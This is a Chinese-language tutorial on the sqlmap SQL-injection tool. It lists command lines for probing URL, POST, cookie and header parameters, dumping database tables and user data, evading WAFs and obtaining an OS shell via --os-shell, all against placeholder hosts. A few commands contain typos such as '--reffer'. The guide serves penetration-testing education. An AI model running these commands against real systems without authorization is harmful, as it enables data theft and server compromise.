Sqlmap命令详解

目录

1.基础检测

2.精准指定注入点

3.数据库信息提取

4.进阶使用

5.关键参数说明


Sqlmap是一款开源的自动化SQL注入工具,支持多种数据库(MySQL、Oracle、SQL Server、PostgreSQL),能检测并利用SQL注入漏洞,提取数据库信息,获取系统权限等。

1.基础检测

基础用法是指定目标 url 进行SQL注入检测

基础检测:检测指定 url 是否存在SQL注入

sqlmap -u "http://test.com/test.php?id=1"

-u / --url:指定目标 url 必须包含注入点,如 id=1

2.精准指定注入点

当 url 有多个参数,或注入点不在 url 中时,需精准指定

指定单个参数检测(如仅检测id参数)

sqlmap -u "http://test.com/test.php?id=1\&user=admin" -p "id"

POST请求检测(需指定数据体)

sqlmap -u "http://test.com/test.php" --data "user=admin&pass=123"

方法2:抓取post数据包,将数据包保存到文件 txt 中,-r指定数据文件

sqlmap -r target.txt

注入点为username,打上 *****代表指定sqlmap以此为注入点

Cookie注入检测(注入点在Cookie中,需登录后才能访问)

若不确定哪个Cookie字段有注入,可省略 -p**,**salmap会自动检测所有Cookie字段

**;**分隔多个字段,分号后加空格,否则sqlmap无法解析

sqlmap -u "http://test.com/test.php" --cookie "SESSID=abc123; UID=1" -p "UID" --level 3

若Cookie内容较长,可写入文件 txt,通过**--cookie-file** 读取

sqlmap -u "http://test.com/test.php" --cookie-file "test.txt" -p "UID" --level 3

Cookie注入常需绕过WAF,可搭配 --tamper、--random-agent

sqlmap -u "http://test.com/test.php" --cookie "SESSID=abc123; UID=1" -p "UID" --tamper --random-agent --level 3

HTTP头部注入(User-Agent/Referer)

sqlmap -u "http://test.com/test.php" --user-agent "Mozilla/5.0.." -p "user-agent" --level 3

sqlmap -u "http://test.com/test.php" --reffer "http://test2.com/123" -p" referer" --level 3

sqlmap -u "http://test.com/test.php" --headers "Reffer: http://test2.com/123" -p "referer" --level 3

结合登录状态(若目标页面需登录验证,需要同时携带Cookie)

sqlmap -u "http://test.com/test.php" --cookie "SESSID=abc123; UID=1" --user-agent "Mozilla/5.0.." -p "user-agent" --level 3

sqlmap -u "http://test.com/test.php" --cookie "SESSID=abc123; UID=1" --referer "http://test2.com/" -p "referer" --level 3

3.数据库信息提取

获取所有数据库

sqlmap -u "http://test.com/test.php" --dbs

获取指定数据库的所有表

sqlmap -u "http://test.com/test.php" -D testdb --tables

获取指定表的所有字段

sqlmap -u "http://test.com/test.php" -D testdb -T users --columns

获取指定字段的详细数据

sqlmap -u "http://test.com/test.php" -D testdb -T users -C address,email,phone --dump

导出整个数据库

sqlmap -u "http://test.com/test.php" -D testdb --dump-all

4.进阶使用

指定数据库类型

sqlmap -u "http://test.com/test.php?id=1" --dbms "MySQL"

批量检测(从文件读取目标 url,target.txt一行一个 url)

sqlmap -m "targets.txt"

自定义执行SQL语句

sqlmap -u "http://test.com/test.php?id=1" --sql-query "SELECT * FROM users LIMIT 10"

绕过WAF/防火墙(使用随机代理、延迟、混淆)

sqlmap -u "http://test.com/test.php?id=1" --random-agent

获取系统 shell( 高权限)

sqlmap -u "http://test.com/test.php?id=1" --os-shell

5.关键参数说明

|-----------------------------|-------------------------------------------------------------------------------------|
| 参数 | 作用 |
| -p "user-agent" | 明确指定注入点为 User-Agent 头部(必须小写) |
| --user-agent "xxx" | 自定义User-Agent内容,模拟真是浏览器,避免被WAF拦截 |
| --random-agent | 随机使用真实浏览器 User-Agent,绕过 WAF 对固定 UA 的拦截 |
| --proxy http:127.0.0.1:8080 | 使用代理(抓包 / 隐藏 IP) |
| --batch | 自动回答所有交互式问题,无需手动输入 y/n(无人值守) |
| -v 3 | 显示详细检测日志(0-6,3常用) |
| --risk 3 | 风险级别(1-3,3可能触发数据篡改) |
| --level 3 | 检测级别(1-5,默认 level1 仅检测 url 参数,level2 检测 POST参数,level3+ 检测 Cookie/HTTP 头部,级别越高检测越全面) |

相关推荐
Hum8le12 小时前
CTF题目《easy_web》(安洵杯 2019 变种 Web)
前端·安全·web安全
HackTwoHub12 小时前
DeepSeek Harness 红队破甲插件|适配 SRC 挖掘场景,区分平台拦截与模型原生输出,用于大模型安全边界合规测评研究
安全·web安全·网络安全·系统安全·密码学·网络攻击模型·安全架构
梦帮科技12 小时前
【3.0】上线与运维:节点监控、水龙头、区块浏览器与安全清单
运维·安全·web安全·金融·区块链·密码学·安全架构
三84414 小时前
Fastjson 漏洞· 06 · 防御、审计与检测
安全·web安全·fastjson
砚凝霜15 小时前
【软考信息安全】第十二章 网络安全审计概述与分类
网络·安全·web安全
梦帮科技1 天前
【3.0修订版】跨链中继与事件编排:Relayer 监听、多签验证与故障自愈
web安全·金融·区块链·密码学·智能合约·安全架构·信任链
王大傻09281 天前
堆叠注入(Stacked Queries Injection)详解:原理、利用与防御
服务器·网络·数据库·web安全·网络安全
三8442 天前
sql注入
web安全·sql注入
微软技术分享2 天前
面向二进制安全的大模型多智能体框架
网络·安全·web安全
白猫不黑2 天前
网络安全专业:从入门到进阶的完整学习路线
学习·安全·web安全·计算机·网络安全·信息安全·编程